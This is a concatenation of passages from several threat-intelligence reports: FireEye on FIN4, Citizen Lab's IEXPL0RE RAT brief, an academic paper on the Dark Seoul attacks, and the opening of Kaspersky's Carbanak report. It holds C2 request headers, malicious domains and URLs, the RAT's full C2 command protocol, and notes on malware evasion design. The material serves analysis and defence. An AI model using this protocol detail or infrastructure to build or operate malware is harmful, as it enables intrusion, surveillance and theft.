We have detected at least two User Agents that the actors have used and which can be used to identify potentially suspicious OWA activity in network logs, when paired with originating Tor IP addresses.
POST /report.php?msgFAKE_PHARMAunamejohn.doepwordabc123 HTTP/1.1 Connection: Keep-Alive Content-Type: text/plain CharsetUTF-8 Accept: / Accept-Language: en-us User-Agent: Mozilla/5.0 (compatible MSIE 10.0 Windows NT 6.1 Trident/6.0) Content-Length: 0 Host: www.junomaat81.us Mozilla/5.0 (Windows NT 6.1 rv:31.0) Gecko/20100101 Firefox/31.0 Mozilla/5.0 (Windows NT 6.1 rv:24.0) Gecko/20100101 Firefox/24.0 Figure 11: FIN4 User Agents 14 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market We have identified nine C2 domains that we believe were registered by the actors to conduct these operations.
There are also legitimate domains that appear to have been compromised and used in previous campaigns in late 2013 and early 2014 however in the recent months we have not seen indications that the actor has used compromised legitimate domains to conduct their operations.
What Can Network Defenders Do?
The relative simplicity of FIN4s tactics (spearphishing, theft of valid credentials, lack of any malware installed on victim machines) makes their intrusion activity difficult to detect.
However a few basic security measures can help Table 1: List of known Actor-Registered C2 Domains Actor-Registered C2 Domains ellismikepage[.
]info lifehealthsanfrancisco2015[.
]com rpgallerynow[.
]info dmforever[.
]biz msoutexchange[.
]us junomaat81[.
]us outlookscansafe[.
]net nickgoodsite.co[.
]uk outlookexchange[.
]net thwart the groups efforts.
Disabling VBA macros in Microsoft Office by default, as well as blocking the domains listed in Table 1 will help protect against FIN4s current activities.
Additionally, enabling two-factor authentication for OWA and any other remote access mechanisms can help prevent credentials stolen in this manner from being leveraged successfully.
Companies can also check their network logs for OWA logins from known Tor exit nodes if they suspect they are victimized.
Typically, legitimate users do not use Tor for accessing email.
While not conclusive, if paired with known targeting by this group, the access from Tor exit nodes can serve as an indicator of the groups illicit logins.
15 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market FireEye, Inc. 1440 McCarthy Blvd.
Milpitas, CA 95035 408.321.6300 877.FIREEYE (347.3393) infofireeye.com www.fireeye.com 2014 FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
WP.HTS.EN-US.112014
BY SETH HARDY AUGUST 2012 IEXPL0RE RAT CITIZEN LAB TECHNICAL BRIEF 001 1CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT INTRODUCTION This report describes a remote access trojan (RAT) that three human rights-related organiza- tions taking part in a Citizen Lab study on targeted cyber threats against human rights groups received via email in 2011 and at the end of 2010.
Here we refer to it as the IEXPL0RE RAT, after the name of the launcher program.
It was first called Sharky RAT in Seth Hardys talk at SecTor 2011.
Since then it has also been referred to as c0d0so0 and possibly Backdoor.
Briba.
A RAT is a program that allows a remote user full access to a computer.
This type of program can be used for legitimate reasons.
In these cases, RAT can also stand for remote administration tool.
In the case of the IEXPL0RE RAT, the remote user has the ability to record user keystrokes (including passwords), copy and delete files, download and run new programs, and even use the computers microphone and camera to listen to and watch the user in real-time.
RATs are common in targeted malware attacks against human rights organizations and other NGOs.
Targeted attacks with this sort of payload are often referred to as advanced persistent threats (APTs).
APTs differ from other traditional computer attacks in that they are designed to be quiet and collect data over time, and act as a starting point for future tracking and compro- mise of targets.
It is not uncommon for an APT infection to persist for months or even years after the malicious program is first run.
https://citizenlab.org/hrpublic-call/ https://citizenlab.org/2011/10/citizen-lab-senior-security-analyst-seth-hardy-presents-at-sector-conference/ http://ioc.forensicartifacts.com/2012/07/c0d0so0-trojan/ http://www.symantec.com/security_response/writeup.jsp?docid2012-051515-2843-99tabid2 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_trends-in-targeted-attacks.pdf 2CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT ATTACK VECTOR Attempted delivery of the malware was via email attachment, employing social engineering tech- niques.
The emails that contained the attached IEXPL0RE RAT were different every time, with a unique email and delivery method used for each attempt, including multiple versions targeted at the same organization.
Each email was tailored specifically for the target, both in terms of subject, content, and the way the RAT was attached and hidden.
Organization 1: a human rights NGO received multiple emails with interesting keywords from senders claiming to be from personal friends.
These emails included an executable attachment in a password-protected archive, which helps prevent detection by antivirus software.
The pass- word was included in the email address.
Organization 2: a news organization operating a website that reports on developments in China, received an email containing a story about a high-rise apartment building fire.
Attached to the email were four images and two executable files (.scr extensions) designed to look like images using the Unicode right-to-left override character.
When each executable file is run, it will install and launch the malware, drop an image, open the image, and delete itself.
The end result is that only an image is left, making the email look more legitimate if the malware is run (figure 1).
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8CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT Each of the IEXPL0RE samples analyzed uses a different set of C2 servers.
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8CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT Each of the IEXPL0RE samples analyzed uses a different set of C2 servers.
One sample uses two domains that point to the same IP.
The IP changes every few days to few weeks, but remains in one network block located in China.
Other samples use either a single domain name and no backup, or a fixed IP with a localhost address as backup.
The localhost address is a way to find and use a proxy, for example, if a computer is using a circumvention system such as Tor.
Of the two samples using fixed IPs, both were sent to the same organization, and one appears to be a replacement for the other.
Both C2 servers are currently down.
C2 COMMUNICATION IEXPL0RE has two different methods of communication: HTTP POST and GET.
It also has the ability to use a HTTP CONNECT proxy.
POST is the preferred method of communication if it does not work, it will also attempt a GET connection.
All communication from the client to the server is encrypted with a one-byte XOR key 0xCD.
(
Information in this report shows the data after decryption.)
POST commands put the data in the request body, while GET commands put the data in URL parameters.
Server responses are all 200 OK messages with data in the body.
The system keeps track of the communication using a sequence number, which is part of the requested URL.
The sequence number is nine digits long, starts at 000000001, and generally increments by one for each packet sent.
When authenticated, the sequence number jumps to 000001000 if disconnected, the sequence number returns to the next sub-1000 number expected.
THE HEADERS OF THE REQUEST LOOK LIKE THIS: POST /index000000001.asp HTTP/1.1 Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1) Host: update.microsoft.com Connection: Keep-Alive Content-Type: text/html Content-Length: 000041 The Accept-Language, User-Agent, Connection, and Content-Type headers are always fixed.
The Host header is also always fixed as update.microsoft.com any requests to the C2 server made without this header in place will be rejected, often with a redirect to Microsofts website.
When run, ContainerV2 communicates with the C2 server, first establishing a socket by a three-way handshake.
Below, the text at the start of the arrow indicates the packet type, sequence number, and connection socket.
For example, POST 2 (1) means that it is using an HTTP POST request, sequence number 2, on the first established connection (figure.
6).
The text on the line is the data in the packet after decryption.
9CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT FIGURE 6: FIRST C2 CONNECTION Once the first connection has been established, a second connection is made using a similar handshake (figure 7).
FIGURE 7: SECOND C2 CONNECTION When the second connection has been established, the ContainerV2 program uses it to download the client and run it (figure 8).
10CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT FIGURE 8: BINARY DOWNLOAD Once control has been handed off to the client, one connection is used for sending keylogger data from the client to the server, and the other connection is used to request RAT commands from the server.
With the protocol reversed (see Appendix B for a full listing of commands), it was straightfor- ward to write a program that communicates with the C2 server, downloads the client, and sends back commands as desired.
The program maintains the two sockets, sending heartbeat/command request packets at a specified interval, while sending back empty keylogger packets to trick the server into thinking the system is idle (figure 9).
11CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT FIGURE 9: AN EXAMPLE OF THE FAKE MALWARE CLIENT COMMUNICATING WITH THE C2 SERVER.
12CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT CAPABILITIES The IEXPL0RE RAT contains over 40 commands that an attacker can use to manipulate the file system and registry, download and run additional programs, and find and exfiltrate data.
An infected computer defaults to recording keystrokes and sending this data back to the server at regular intervals.
The additional commands are there for interactive control of the system in real-time by an attacker.
This program is likely used in multiple phases.
After infection, the keylogger records data in- cluding email addresses and passwords.
Once an accounts credentials have been captured, the attacker can log in and set up a forwarding address or download all of the data stored online.
Once a compromised machine has been determined useful by looking at the keylogger data, an attacker can use the RAT functionality to download files and install more specific malware - for example, a Skype plugin that records calls.
While post-infection behaviour from an attacker against a real target has not been observed in this investigation, this is a standard method in targeted attacks.
One particular area of interest with this RAT is that it contains a specific functionality for pl- ugins relating to video and audio capture.
Each time the malware connects to the command and control server, it sends a list of all video capture devices present on the computer.
This behav- iour may indicate that the attacker is specifically interested in seeing who is on the other end of the computer, and is actively collecting data on what the targets look like.
For a full list of the commands supported by IEXPL0RE and a description of what they do, see Appendix B: Command Enumeration.
DETECTION AND MITIGATION A system infected with the IEXPL0RE RAT can be found by looking for presence of the IEX- PL0RE files, or by watching network traffic.
In addition to the IEXPL0RE.EXE file itself, presence of the perf.dat files and link files in temp are an indicator that the system is infected.
The timestamps on the files are an indica- tion of how long the system has been infected.
A network intrusion detection system (IDS) can identify infected machines by looking for well- known traffic patterns.
The simplest of these is checking for HTTP traffic to /index[0-9]9.asp.
Blocking this traffic will prevent the infected machine from communicating with the C2 server, receiving new commands, and sending back keylogger data.
The C2 IP or hostname can also be blocked directly once its found, at the network level or (as a temporary measure) in the infected computers hosts file.
13CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT REMOVAL A running copy of IEXPL0RE can be stopped by killing the appropriate svchost process.
This process is identifiable as it is not in the correct place in the process tree.
In figure 10, this is the last process in the list, PID 1256: FIGURE 10: PROCESS EXPLORER SHOWING THE INFECTED SVCHOST.EXE PROCESS (1256).
The process can be killed with the Process Explorer tool, part of the Sysinternals package (figure 10).
Once the process has been terminated, removal is as simple as deleting the installed files (see the section on Infection above for a list).
14CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT CONCLUSIONS The IEXPL0RE RAT is a good example of the current state of APT attacks, especially those tar- geting human rights organizations and NGOs.
While they are not particularly advanced from a technical standpoint, they are custom designed to appeal to and pique the interest of the recipient.
The attacker uses social engineering to get a foot in the door of an organization.
All it takes is for one user to run a malicious program that looks like a legitimate video, spreadsheet, or other document.
Once running on a users machine, the program will silently record passwords and provide the attacker a way of accessing sensitive data.
This report describes what is normal in this area, by detailing what a common attack looks like at each step of the way, from when an email is first received to when data leaves the network.
Many APT campaigns like the one presented in this report exist and continue to steal data every day, but are both avoidable and correctable.
The IEXPL0RE RAT is under active development, as both the client and server components are continuously changing.
The server in particular has exhibited different behavior over time, mostly related to blocking unauthorized access from the outside world.
For example, the redirect to Micro- softs website when referencing an invalid URL was not present when this investigation began.
The presence of development work or upgrades implies that this system is actively used and monitored.
15CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT APPENDIX A: CONFIGURATION FILE The configuration sent to the C2 server on initial connection has the client configuration at the beginning (figure 11), followed by more information about the infected computer (figure 12).
FIGURE 11: CLIENT CONFIGURATION SENT TO C2 16CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT FIGURE 12: DETAILED INFORMATION ON INFECTED COMPUTER SENT TO C2 17CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT APPENDIX B: COMMAND ENUMERATION The following is a list of all commands present in the IEXPL0RE malware, and a detailed description of what data is received or sent over the network for each command.
CODE COMMAND SERVER / CLIENT DESCRIPTION 0x00 Failure C Client response for a variety of commands to indicate that the operation did not succeed.
0x01 Success C Client response for a variety of commands to indicate that the operation suc- ceeded.
Contains variable data related to the command request.
0x01 Reply file does not exist C Reply file for plugin does not exist.
Packet contains: [4] - Command code (0x01) 0x02 Reply file over 512kB C Reply file for plugin is over 512kB.
Packet contains: [4] - Command code (0x02) 0x03 Reply file C Reply file for plugin.
Packet contains: [var] - buffer -- implemented so always 0?
0x03 Shutdown S Sends a shutdown power off force command to the system.
Requires parameters 0/0.
0x04 Reboot S Sends a reboot force command to the system.
Requires parameters 0/0.
0x06 Reconnect S Disconnects open connections and reconnects.
0x07 Shut off display S Sends WM_SYSCOMMAND message SC_MONITORPOWER to shut off the display.
0x0B Download and install malware S Downloads a file, writes it to disk, and possibly executes it.
Packet contains: [4] - executable size [var] - executable Depending on configuration and AV software present, writes the file to IEX- PL0RE.EXE (in application data folder, Microsoft subfolder), fxsst.dll (in Win- dows system directory), or SENS64.DLL (in temp path).
May run IEXPL0RE.
EXE depending on options may also install configuration file (STREAM.SYS or Cache).
Returns failure or success with parameters 0/0.
0x0C Install dropped files S Checks configuration file options and moves the appropriate dropped files to the correct locations (may vary depending on Windows version).
Returns failure or success with parameters 0/0.
18CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x0D Update configuration file S Downloads new configuration parameters and writes the updated information to the configuration file.
Packet option 2: [2] - Value1 2 [180] - Unused?
Packet option 1: update campaign name?
[
2] - Value1 1 [4] - campaign name length [var] - campaign name Packet option 4: update configuration file [2] - Value1 4 [2] - port [2] - unknown (offset 264) [2] - unknown (offset 266) [4] - unknown (offset 664) [1] - unknown (offset 274) [1] - unknown (offset 534) [2] - unknown (offset 532) [2] - unknown (offset 270) [2] - unknown (offset 272) [4] - campaign name length [var] - campaign name [4] - C2 name length [var] - C2 name [4] - unknown length [var] - unknown (unused?)
[
4] - unknown length [var] - unknown (offset 275) [4] - unknown length [var] - unknown (offset 535) [4] - unknown length [var] - unknown (offset 599) Returns failure or success with parameters 0/0.
19CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x0E Download and run plugin S Opens a new connection in a new thread, downloads a file, then runs it (possibly with Internet Explorer credentials).
This looks like a plugin activation for screen captures and audio recording -- references offscreen.dll and offsound.dll.
Packet contains: [4] - unknown (field_4) [4] - unknown length [var] - unknown (field_8) [4] - DLL name length [var] - DLL name [4] - DLL arguments length [var] - DLL arguments [4] - Reply filename length [var] - Reply filename [4] - unknown length [var] - unknown (field_620) [4] - unknown length [var] - unknown (field_724) [1] - unknown (field_828) [1] - unknown (field_829) [1] - unknown (field_82A) [1] - Add process ID, socket, verb to DLL arguments?
[
1] - Create process as IE user?
[
4] - unknown length [var] - unknown (field_82C) [4] - unknown (field_934) Handshake for the new connection uses connection number -1.
If the connection is successful, replies with a failure packet, parameters 0/0, containing: [4] - unknown (field_4) [4] - unknown length [var] - unknown (field_8) [4] - DLL name length [var] - DLL name [4] - Reply filename length [var] - Reply filename [4] - unknown length [var] - unknown (field_620) [4] - unknown length [var] - unknown (field_724) [1] - unknown (field_828) [1] - unknown (field_829) [4] - unknown length [var] - unknown (field_82C) [4] - unknown (field_934) If successful, it will send the C2 an X command.
The C2 will reply with a file, which the client writes to disk.
The client will send a success or failure packet with parameters 0/0 depending on whether the file was received.
If field_828 is non-zero, the client will send the contents of the reply file- name specified in a 0x03 command with parameters 0/0.
The way this is implemented, it appears as if it will always send an empty packet.
If process creation is unsuccessful, it will send a failure packet with param- eters 0/0 containing the following: [4] - command (0x00) 20CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x0F Download and execute file S Downloads a file and runs it.
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Packet contains: [4] - Number of 0x2D packets to follow 0x2D Unknown response C Response to the 0x2B command.
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Packet contains: [4] - Number of 0x2D packets to follow 0x2D Unknown response C Response to the 0x2B command.
Uses parameters Res2/Res1.
Packet contains: [4] - Unknown data length [var] - Unknown data, result of sub_10001B73() 0x2F Owner name, organiza- tion, and serial number request S Sends the owner name, organization, and serial number.
Returns a success response with the following data: [4] - Username length [var] - Username [4] - User organization length [var] - User organization [4] - Serial length [var] - Serial 0x46 Read from file S Packet contains: [8] - File offset [2] - Characters to read [4] - Length of field 3 [var] - Field 3 Replies with a 0x47 packet containing data from a file.
0x47 Read from file response C Response to 0x46 that contains data from a file.
Sent with parameters 2/2.
Packet contains: [2] - Size [var] - Data 23CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x4B List files S Lists files in a given directory along with file size and last write times.
Packet contains [4] - Directory length [var] - Directory 0x4C Start of list files response C Start of list response to 0x4B.
Sent with parameters 2/2.
Packet has no payload.
0x4D End of list files response C End of list response to 0x4B.
Sent with parameters 2/2.
Packet has no payload.
0x4E List files response C List item for response to 0x4B.
Sent with parameters 2/2.
Packet contains: [8] - FindFileData.nFileSizeLow, FindFileData.nFileSizeHigh [8] - .ftLastWriteTime.dwLowDateTime, .dwHighDateTime [4] - length of next field [var] - whole string: filename plus size and write time 0x4F Open file S Opens a specified file for use with 0x46 [and friends].
Packet contains: [4] - File name length [var] - File name [4] - File mode length [var] - File mode Returns failure or success with parameters 2/2.
0x50 Close file S Closes file opened with 0x4F command.
No response sent.
0x5A Start of running pro- gram list C Response to 0x5D command that signals the start of a list of running pro- grams.
Packet is empty with parameters 3/Res1.
0x5B End of running pro- gram list C Response to 0x5D command that signals the end of a list of running pro- grams.
Packet is empty with parameters 3/Res1.
0x5C Running program C Response to 0x5D command that contains the first executable module for a single process.
One packet is sent per process.
Packet contains: [24] - PROCESSENTRY32.th32ProcessID [4] - length of executable module name [var] - length of executable module 0x5D List running programs S Sends a list of executable names for running processes.
Replies with a 0x5A response, followed with a 0x5C packet for each executable, and ends with a 0x5B response.
Client uses the CreateToolhelp32Snapshot() API function followed by Pro- cess32First()/Process32Next() to list all processes.
The executable name is the module name returned by Module32First().
0x5E Kill process S Kills a running process.
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c. Harddisk wiper: Symantec identified Trojan.
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c. Harddisk wiper: Symantec identified Trojan.
Jokra as the malware component that wiped harddisks in the attack.
It is likely that it was downloaded onto the victims computer after receiving an instruction by the CC servers.
The malware overwrites the master boot record (MBR) and the rest of the harddisk with the strings PRINCIPES or HASTATI.. Other attached drives or removable devices may also be targeted.
The malware then forces the computer to restart thus making it unusable.
An interesting feature of this malware is that it has components to wipe out harddisks on both Windows and Linux platforms.
Detailed analysis of Jokra can be found here [10].
d. Information harvesting: After gaining root privileges the attackers can intercept any information that goes in or out of the infected computer.
However the most apparent information taken was user credentials.
As a result of DNS poisoning, users believe they are accessing the authentic internet banking website, but are decepted into interacting with a fake website.
An error message pops up stating that the users computer was infected by a virus and that for security reasons they need to apply for a fraud prevention service.
If the user clicks the OK button, the user is directed to a page requesting their name and national identification number.
If the format entered is correct, the user is then asked to fill in more details including address, phone number, etc.. C. CASE STUDIES: PREVIOUS MAJOR CYBER ATTACKS 1.
Stuxnet Stuxnet was discovered in July 2010, but the earliest known variant is confirmed to have existed since 2007 [11].
Stuxnet caught many security researchers and professionals by surprise, being the first advanced malware of its kind.
According to Symantecs report [12], Stuxnet is a complex threat that was primarily written to target an industrial control system (ICS) or set of similar systems.
A vast array of components was implemented in the malware including four 0-Day exploits, a windows rootkit, antivirus evasion techniques, complex process injection and hooking code, http://rootadmin2012.com/ http://www.kbstar.com/ http://www.ibk.co.kr/ http://www.shinhan.com/ http://www.wooribank.com/ http://www.hanabank.com/ http://www.nonghyup.com/ http://myadmin2012.com/tong.htm http://www.hisunpharm.com/ CISAK 2013 C1/O/8 network infection routines, peer-to-peer updates, a command and control interface, as well as the first ever PLC rootkit.
Stuxnets main payload has the main purpose of modifying code on Siemens industrial PLCs in order to sabotage the system.
It is widely believed that Irans Natanz nuclear Fuel Enrichment Plant (FEP) was the intended target.
Hosts in five domains of organizations based in Iran were heavily infected over 3 attack waves.
The deliberate containment of the malware to targets in Iran is also apparent from the number of hosts infected worldwide, which reached only around 100,000 with approximately 60 being in Iran.
This attack has been claimed to setback Irans nuclear program by several years as 1,000 out of 9,000 centrifuges were disabled and had to be replaced [13].
The initial attack point is likely to be via a USB infection.
2.
10 days of Rain On March 4, 2011, exactly 20 months after a similar incident during the U.S.
Independence Day celebrations of 2009, a botnet based in South Korea launched DDoS attacks against 40 websites affiliated with South Korean government, military, and civilian critical infrastructure as well as U.S. forces based in Korea [14].
The botnet was dynamically updated via new malware binaries, launched a DDoS non-stop for more than a week, and then wiped the harddisks with zeroes, overwriting the MBR making the machines unusable.
This attack used malware with a much higher level of sophistication than is necessary to launch a trivial distributed denial of service (DDoS) attack.
Encryption of code and configurations using cipher algorithms such as the Advanced Encryption Standard (AES), RSA, and Rivest Cipher 4 (RC4) enabled them to evade detection and prolong analysis.
A multitier botnet architecture included 40 CC servers distributed across the globe including servers in the USA, Taiwan, Saudi Arabia, Russia, and India.
Highlighting the overkill in this attack, McAfee went so far as to call it analogous to bringing a Lamborghini to a go-cart race [15].
Considering the limited timeframe scope and target list, McAfee suggested the motivation of the attack was a cyber war exercise to test the preparedness of South Koreas cyber defense capabilities and to better understand the technical requirements for a successful campaign.
3.
SK Communications CyWorld In July 2011 SK Communications became the victim of an attack that resulted in the loss of the personal details of 35 million users [16].
The users of CyWorld and Nate, services owned by SK Communications, were affected by this attack.
Judging from the sophistication of the attack and the time needed for planning it, researchers concluded that the attack was likely to be carried out by an Advanced Persistent Threat.
Between July, 18 and 25, more than 60 computers were infected then used to gain access to the user databases.
The launch point was a South Korean software companys update server, normally used to deliver software updates to customers [17].
The attackers compromised the server and created a Trojan that would be downloaded to user computers during a routine update.
Poor change management policy resulted in the full trust of software updates, allowing attackers to fully exploit this weakpoint.
During this time attackers used CC servers to monitor the activities on the infected machines and uploaded tools on a previously compromised legitimate Taiwanese website.
An elaborate infrastructure of waypoints and CC servers was created to make tracing the sources of their activities difficult.
In-depth investigation of the attack reveal that preparation went back as early as September 2010 before finally culminating in the compromise of the user databases between July 26-28, 2011.
Comparing Dark Seoul with previous attacks shows that it was technically low in sophistication while causing high impact to the organizations affected.
An intuitive indicator of this sophistication is that it was completely preventable if the organizations had used existing software updates and antivirus solutions, whereas prior attacks could not have been detected.
However judging from the high number of infections, services disrupted, and the fact that information was being harvested from the infected machines at least 8 months [18] before the d- day wipeout, we consider the impact to be high.
Table 1.
Comparison with Previous Attacks.
Metric Stuxnet (2007- 2010) SK Comm (2011) 10 days of rain (2011) Dark Seoul (2013) Sophistication VERY HIGH HIGH VERY HIGH LOW Impact VERY HIGH HIGH HIGH HIGH of Infections 100,000 60 100,000 48,000 Losses Nuclear Program 35 million users 8 billion KRW DDoS Time Before Detection 3 years 10 months 1 year 8 months D. ADVANCED MALWARE DESIGN 1.
Multiple Propagation Vectors To increase the probability of successfully infecting the target systems, various propagation vectors should be embedded into the malware.
The most likely attack vector is social engineering via phishing emails, USB sticks, and other techniques.
Although people can be used as the initial point of entry, propagation needs to continue laterally through the network till the specific target host is reached.
During this process the malware may need higher privileges (e.g.
root) and further exploits will be utilized.
Therefore the persistent adversary will need to consider multiple vectors to infiltrate target systems.
CISAK 2013 C1/O/8 2.
0-day Exploits The problem with publicly published vulnerabilities is people can defend against them.
0-day exploits are written to exploit vulnerabilities that have not been disclosed to the public nor the concerned software vendor.
These exploits are at the core payload of any advanced malware, and are virtually unstoppable until vendors release a patch or anti-virus providers come up with a signature definition.
The only other method of minimizing the 0-day threat is by actively designing security into software.
Dark Seoul did not use any 0-days.
3.
Evasion Techniques The deployment of anti-virus software, intrusion detection systems, firewalls and other malware detection or prevention technology has done much to defend against many attacks.
Advanced malware bypasses these defenses by employing techniques such as dynamic botnet obfuscation, network based fragmentation and session splicing, application or protocol violations, disabling intrusion detection systems (IDSs), to more advanced techniques such as encryption and code reuse attacks [19].
Carefully crafted exploits can avoid even advanced heuristic detection algorithms used in todays anti- virus software.
Evasion techniques are crucial for successful attacks against high level targets, such as in the case of the Iranian nuclear program.
E. CONCLUSION Dark Seoul was a low tech threat which managed to escalate into a high impact attack.
Successful in carrying out its goals, the malware was lacking in many areas that would be typically found in attacks by advanced persistent threats.
We highlighted the components of the malware used and the possible design principles that could have been employed to make the attack more sophisticated.
South Korea is more at risk now than before the attack, as now adversaries less capable than advanced persistent threats realize they could also successfully perform damaging attacks.
Undertaking the needed remediation strategies to prevent similar attacks as well as understanding the anatomy of more advanced malware is vital for mounting an adequate defense against the advanced cyber threats.
ACKNOWLEDGEMENT This research was supported by Basic Science Research Program through the National Research Foundation of Korea (NRF) funded by the Ministry of Education, Science and Technology (grant number: 2012-0008447).
REFERENCES [1] South Korea blames North for bank and TV cyber-attacks, BBC News, [online] 10 April 2013, Available: http://www.bbc.co.uk/news/technology-22092051 (Accessed: 18 April 2013) [2] He-suk Choi.
Seoul blames Pyongyang for cyber attacks, The Korea Herald, [online] 10 April 2013, Available: http://www.koreaherald.com/view.php?ud20130410000766 (Accessed: 18 April 2013) [3] J. Horejsi.
Analysis of Chinese attack against Korean banks, Avast Blog, [online] 19 March 2013, Available: https://blog.avast.com/2013/03/19/analysis-of-chinese-attack-against- korean-banks/ (Accessed: 18 April 2013) [4] J. Schwartz, South Korea Changes Story On Bank Hacks, Information Week [online] 22 March 2013, Available: http://www.informationweek.com/security/attacks/south-korea-changes- story-on-bank-hacks/240151542 (Accessed: 18 April 2013) [5] Remote Linux Wiper Found in South Korean Cyber Attack, Symantec Connect [online] 20 March 2013, Available: http://www.symantec.com/connect/blogs/remote-linux-wiper-found- south-korean-cyber-attack (Accessed: 18 April 2013) [6] Trojan.
Jokra, Symantec Security Response, [online] 27 March 2013, Available: http://www.symantec.com/security_response/writeup.jsp?docid2013- 032014-2531-99 (Accessed: 18 April 2013) [7] CVE-2012-1889, Common Vulnerabilities and Exposures, [online] 22 March 2012, Available: http://www.cve.mitre.org/cgi- bin/cvename.cgi?nameCVE-2012-1889 (Accessed: 18 April 2013) [8] Metasploit, Microsoft XML Core Services MSXML Uninitialized Memory Corruption, The Exploit Database, [online] http://www.exploit-db.com/exploits/19186/ (Accessed: 18 April 2013) [9] J. Blasco, A theory on the South Korean attacks, Alien Vault Labs [online] 20 March 2013, Available: http://labs.alienvault.com/labs/index.php/2013/a-theory-on-the-south- korean-attacks/ (Accessed: 18 April 2013) [10] Trojan.
Jokra, Symantec Security Response, [online] 27 March 2013, Available: http://www.symantec.com/security_response/writeup.jsp?docid2013- 032014-2531-99tabid2 (Accessed: 18 April 2013) [11] G. McDonald, L.O.
Murchu, S. Doherty, and E. Chien, Stuxnet 0.5: The Missing Link, Symantec Security Response [online] 26 February 2013, Available: http://www.symantec.com/content/en/us/enterprise/media/security_respo nse/whitepapers/stuxnet_0_5_the_missing_link.pdf [12] N. Falliere, L. O. Murchu, and E. Chien, W32.stuxnet dossier, Symantec, Symantec Security Response [online] February 2011.
[
online].
Available: http://www.symantec.com/content/en/us/enterprise/media/security_respo nse/whitepapers/w32_stuxnet_dossier.pdf [13] Albright, D., Brannan P., Walrond, C. Did Stuxnet Take Out 1,000 Centrifuges at the Natanz Enrichment Plant?
Institute for Science and International Security [online] 22 December 2010, Available: http://isis- online.org/isis-reports/detail/did-stuxnet-take-out-1000-centrifuges-at- the-natanz-enrichment-plant/ (Accessed: 18 April 2013) [14] 10 Days of Rain in Korea, McAfee Blog Central [online] 5 July 2011, Available: http://blogs.mcafee.com/mcafee-labs/10-days-of-rain-in-korea (Accessed: 18 April 2013) [15] Ten Days of Rain Whitepaper, McAfee, 5 July 2011 [16] SK Hack by an Advanced Persistent Threat, Command Five [online] September 2011, Available: http://www.commandfive.com/papers/C5_APT_SKHack.pdf (Accessed: 18 April 2013) [17] Moon-young Lee, Personal information hack traced to Chinese IP address The Hankyoreh [online] 12 August 2011, Available: http://www.hani.co.kr/arti/english_edition/e_national/491514.html (Accessed: 18 April 2013) [18] South Korea Probe Blames North for Cyber Attack VOA News [online] 10 April 2013, Available: http://www.voanews.com/articleprintview/1638361.html (Accessed: 18 April 2013) [19] J.A.P.
Marpaung, M. Sain, H.J.
Lee, Survey on Malware Evasion Techniques: State of the Art and Challenges in 14th International Conference on Advanced Communication Technologies, 2012, pp 744- 749.
http://www.bbc.co.uk/news/technology-22092051 http://www.koreaherald.com/view.php?ud20130410000766 http://www.koreaherald.com/view.php?ud20130410000766 http://www.informationweek.com/security/attacks/south-korea-changes- http://www.informationweek.com/security/attacks/south-korea-changes- http://www.symantec.com/connect/blogs/remote-linux-wiper-found- http://www.symantec.com/connect/blogs/remote-linux-wiper-found- http://www.symantec.com/security_response/writeup.jsp?docid2013- http://www.symantec.com/security_response/writeup.jsp?docid2013- http://www.cve.mitre.org/cgi- http://www.exploit-db.com/exploits/19186/ http://www.exploit-db.com/exploits/19186/ http://labs.alienvault.com/labs/index.php/2013/a-theory-on-the-south- http://labs.alienvault.com/labs/index.php/2013/a-theory-on-the-south- http://www.symantec.com/security_response/writeup.jsp?docid2013- http://www.symantec.com/security_response/writeup.jsp?docid2013- http://www.symantec.com/content/en/us/enterprise/media/security_respo http://www.symantec.com/content/en/us/enterprise/media/security_respo http://www.symantec.com/content/en/us/enterprise/media/security_respo http://isis-/ http://blogs.mcafee.com/mcafee-labs/10-days-of-rain-in-korea http://www.commandfive.com/papers/C5_APT_SKHack.pdf http://www.commandfive.com/papers/C5_APT_SKHack.pdf http://www.hani.co.kr/arti/english_edition/e_national/491514.html http://www.hani.co.kr/arti/english_edition/e_national/491514.html http://www.voanews.com/articleprintview/1638361.html http://www.voanews.com/articleprintview/1638361.html
Version 2.0 February, 2015 CARBANAK APT THE GREAT BANK ROBBERY TheSAS2015 Carbanak http://sas.kaspersky.com/ https://twitter.com/hashtag/Carbanak 2 TLP: White For any inquiries, please contact intelreportskaspersky.com Table of contents 1.
Executive Summary ...........................................................................................3 2.
Analysis ...............................................................................................................5 2.1 Infection and Transmission ........................................................................5 2.2 Malware Analysis Backdoor.
Win32.Carbanak ......................................7 2.3 Lateral movement tools .......................................................................... 18 2.4 Command and Control (C2) Servers ....................................................... 19 3.
Conclusions ..................................................................................................... 23 APPENDIX 1: C2 protocol decoders .................................................................... 24 APPENDIX 2: BAT file to detect infection ............................................................ 27 APPENDIX 3: IOC hosts ....................................................................................... 28 APPENDIX 4: Spear phishing .............................................................................. 34 APPENDIX 5: MD5 hashes of Carbanak samples ............................................. 36 mailto:intelreports40kaspersky.com?subject 3 TLP: White For any inquiries, please contact intelreportskaspersky.com 1.
Executive Summary From late 2013 onwards, several banks and financial institutions have been attacked by an unknown group of cybercriminals.
In all these attacks, a similar modus operandi was used.
According to victims and the law enforcement agencies (LEAs) involved in the investigation, this could result in cumulative losses of up to 1 billion USD.
The attacks are still active.
This report provides a technical analysis of these attacks.
